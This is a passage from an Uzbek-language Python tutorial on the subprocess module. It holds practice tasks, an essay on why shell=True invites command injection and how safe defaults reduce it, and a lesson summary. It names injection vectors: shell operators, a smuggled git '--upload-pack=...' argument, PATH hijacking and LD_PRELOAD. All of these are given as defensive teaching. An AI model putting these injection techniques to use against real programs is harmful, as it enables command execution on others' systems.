                              check=True, timeout=10).stdout.strip()

Vazifa 3: git yordamchisi

GitRepo(yol) sinfini yozing:

joriy_filial(), ozgargan_fayllar(), oxirgi_commit() — git chaqiruvlari orqali
Har chaqiruv: check=True, timeout, encoding="utf-8"
git o'rnatilmagan yoki katalog repo emas — aniq istisnolar
Fayl nomlarida bo'shliq va o'zbekcha harflar bo'lsa ham to'g'ri ishlasin (-z bayrog'i)
Vaqtinchalik repo yaratib testlang

Vazifa 4: Jonli jarayon kuzatuvchisi

Uzoq ishlaydigan buyruqni Popen bilan ishga tushiring
stdout va stderr ni alohida va jonli o'qing (ikkita ip yoki selectors)
Har qatorga vaqt belgisi va oqim nomini qo'shib chop eting
Ctrl+C da bola jarayonni terminate, 5 soniyadan keyin kill
Chiqish kodini qaytaring

Vazifa 5: Media konvertor

Katalogdagi barcha .wav fayllarni ffmpeg bilan .mp3 ga o'giring
Bir vaqtda ko'pi bilan os.process_cpu_count() ta jarayon
Fayl nomlarida bo'shliq va maxsus belgilar bo'lsa ham xavfsiz
ffmpeg bo'lmasa — aniq xabar; har fayl uchun muddat
Yakuniy hisobot: muvaffaqiyatli, xato, o'tkazib yuborilgan (allaqachon mavjud)

Vazifa 6: Xavfsiz buyruq quruvchi

Buyruq("git").arg("log").bayroq("--format", fmt).qiymat(foydalanuvchi_satr) kabi quruvchi yozing
qiymat bayroq bilan boshlanmasligini tekshirsin va oldiga -- qo'ysin
shlex.join bilan jurnal ko'rinishi
shell=True ni umuman qo'llamasin
In'ektsiya urinishlari bilan testlar

Vazifa 7: O'ylash

shell=True ko'p tillarda sukut yoki yagona usul: PHP'da exec("..."), Node.js'da child_process.exec, eski Python'da os.system. Python 3 da subprocess.run esa sukut bo'yicha shell=False. Nega qobiq orqali ishga tushirish shunchalik keng tarqalgan bo'lgan va qanday qilib "xavfsiz sukut" dizayni butun bir zaiflik sinfini kamaytiradi?

Javob

Qisqa javob: Qobiq orqali ishga tushirish qulay — bitta satrda pipe, yo'naltirish, glob va o'zgaruvchilar; dasturchilar terminalda yozganini kodga ko'chiradi. Lekin satr bir necha tildagi ma'lumot va buyruqni aralashtiradi, va har qanday tashqi qiymat qobiq sintaksisi sifatida talqin qilinadi. shell=False sukuti "ma'lumot va kodni ajratish"ni sukut qiladi — xavfli yo'l ongli tanlovga aylanadi, bu esa buyruq in'ektsiyasi (CWE-78) holatlarini keskin kamaytiradi.

1. Nega qobiq keng tarqalgan

Sabab	Tafsilot
Tanishlik	Terminaldagi buyruqni o'zgarishsiz nusxalash
Qulaylik	`a
Tarix	C'dagi `system()`, Perl `...`, PHP `exec` — hammasi qobiq orqali
Platformalararo "soddalik"	Satr — universal ko'rinadi

2. Qobiq nima qiladi

Satr → leksik tahlil (bo'shliqlar, qo'shtirnoqlar) → kengaytirish ($VAR, $(...), *, ~) → boshqaruv operatorlari (;, &&, |, >) → bir nechta jarayon.

Tashqi qiymat shu bosqichlarning istalganiga ta'sir qilishi mumkin — shuning uchun ekranlash qiyin va xatoga moyil (va cmd.exe qoidalari POSIX dan butunlay boshqacha).

3. shell=False nima o'zgartiradi

	`shell=True`	`shell=False`
Dastur chaqiruvi	`sh -c "satr"`	To'g'ridan-to'g'ri `execve(dastur, [argumentlar])`
Argument chegaralari	Qobiq aniqlaydi	Ro'yxat elementlari
Maxsus belgilar	Talqin qilinadi	Oddiy baytlar
In'ektsiya	Mumkin	Qobiq darajasida mumkin emas

4. Xavfsiz sukut tamoyili

Soha	Xavfli sukut	Xavfsiz sukut
Jarayonlar	`os.system(satr)`	`subprocess.run(list)`
SQL	Satr birlashtirish	Parametrlangan so'rovlar
HTML shablonlar	Ekranlashsiz	Avtomatik ekranlash (Jinja2 `autoescape`)
YAML	`yaml.load`	`yaml.safe_load`
Arxivlar	Filtrsiz ochish	`tarfile` `data` filtri (3.14, 15.13)
Seriyalash	`pickle`	JSON (16-qism)

Umumiy g'oya: oson yo'l xavfsiz bo'lishi kerak, xavfli yo'l esa aniq, ko'rinadigan tanlov (shell=True, filter="fully_trusted") — kod tekshiruvida darhol ko'zga tashlanadi.

5. Qolgan xavflar

Argument in'ektsiyasi (--upload-pack=...) — -- va tekshiruv
Dasturning o'zi qobiqni chaqirishi (masalan, ssh host "buyruq" — masofadagi qobiq)
PATH ni o'g'irlash — shutil.which natijasini to'liq yo'l bilan ishlating
Muhit o'zgaruvchilari orqali ta'sir (LD_PRELOAD) — env ni cheklang

6. Xulosa

Qobiq qulay, chunki u butun bir dasturlash tili
Aynan shu sababli tashqi qiymat uchun xavfli
shell=False sukuti — "ma'lumot va kodni ajratish" tamoyilining amaliy ko'rinishi
Xavfsiz sukutlar butun zaiflik sinflarini kamaytiradi, lekin argument darajasidagi tekshiruvni bekor qilmaydi

Nimani mustahkamlaydi: 2.1–2.6-bo'limlar.

Xulosa

Bu darsda tashqi dasturlarni xavfsiz va ishonchli ishga tushirishni o'rgandik.

Eng muhim uch fikr:

run — ro'yxat, check=True, timeout, aniq kodlash. capture_output=True va encoding="utf-8" bilan natija matn sifatida olinadi; check=False da xato jim — returncode ni o'zingiz tekshirasiz, check=True da CalledProcessError stderr bilan keladi va sabab aynan o'sha yerda. Dastur topilmasa FileNotFoundError, muddat tugasa jarayon o'ldiriladi va TimeoutExpired ko'tariladi; env esa muhitni to'liq almashtiradi.
shell=True — buyruq in'ektsiyasi. Qobiq &&, ;, |, $() ni yangi buyruq sifatida talqin qiladi — misolda "fayl nomi" ikkinchi buyruqni bajardi. Ro'yxat shaklida butun satr bitta argument bo'ladi. Lekin argument bayroq bo'lib qolishi mumkin (--upload-pack=...) — tashqi qiymat tekshiriladi va oldiga -- qo'yiladi; shlex.join esa jurnal uchun, shlex.quote faqat POSIX qobiqlari uchun.
Popen — oqim va parallellik, lekin deadlock ehtiyoti bilan. Chiqishni jonli o'qish, bir nechta jarayonni bir vaqtda ishga tushirish, poll/terminate/kill — Popen orqali. stdout=PIPE bilan wait() katta chiqishda ikkala jarayonni bir-birini kutib qoldiradi — communicate(timeout=...) ikkala oqimni o'qiydi. Mini CI misolida parallel tekshiruvlar muddat, topilmagan dastur va yiqilishlarni aniq ajratib, umumiy chiqish kodini qaytardi.

Keyingi darsda o'z buyruq qatori dasturlarimizni yozishni o'rganamiz: argparse — argumentlar, bayroqlar, ichki buyruqlar va yordam matnlari.

Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

Hozircha izoh yo'q. Birinchi bo'ling!

15.14-dars: subprocess

1. Kirish va motivatsiya

2. Nazariya — chuqur tushuntirish

2.1. subprocess.run

2.2. Natija va xatolar

2.3. shell=True va buyruq in'ektsiyasi

2.4. Kodlash

2.5. Popen — past daraja

2.6. Pipe to'lib qolishi

3. Tez ma'lumotnoma

4. Batafsil misollar

Misol 1 — run asoslari

Misol 2 — Buyruq in'ektsiyasi va shlex

Misol 3 — Popen: oqim, parallel, to'xtatish

Misol 4 — Amaliy: parallel tekshiruvlarni ishga tushiruvchi (mini CI)

5. To'g'ri va noto'g'ri tushunishlar

6. Keng tarqalgan xatolar va yechimlari

7. Integratsiya — bu bilim qayerda kerak bo'ladi

8. Eng yaxshi amaliyotlar

9. Amaliy topshiriq

Xulosa

Izohlar (0)

15.14-dars: `subprocess`

2.1. `subprocess.run`

2.3. `shell=True` va buyruq in'ektsiyasi

2.5. `Popen` — past daraja

Misol 1 — `run` asoslari

Misol 2 — Buyruq in'ektsiyasi va `shlex`

Misol 3 — `Popen`: oqim, parallel, to'xtatish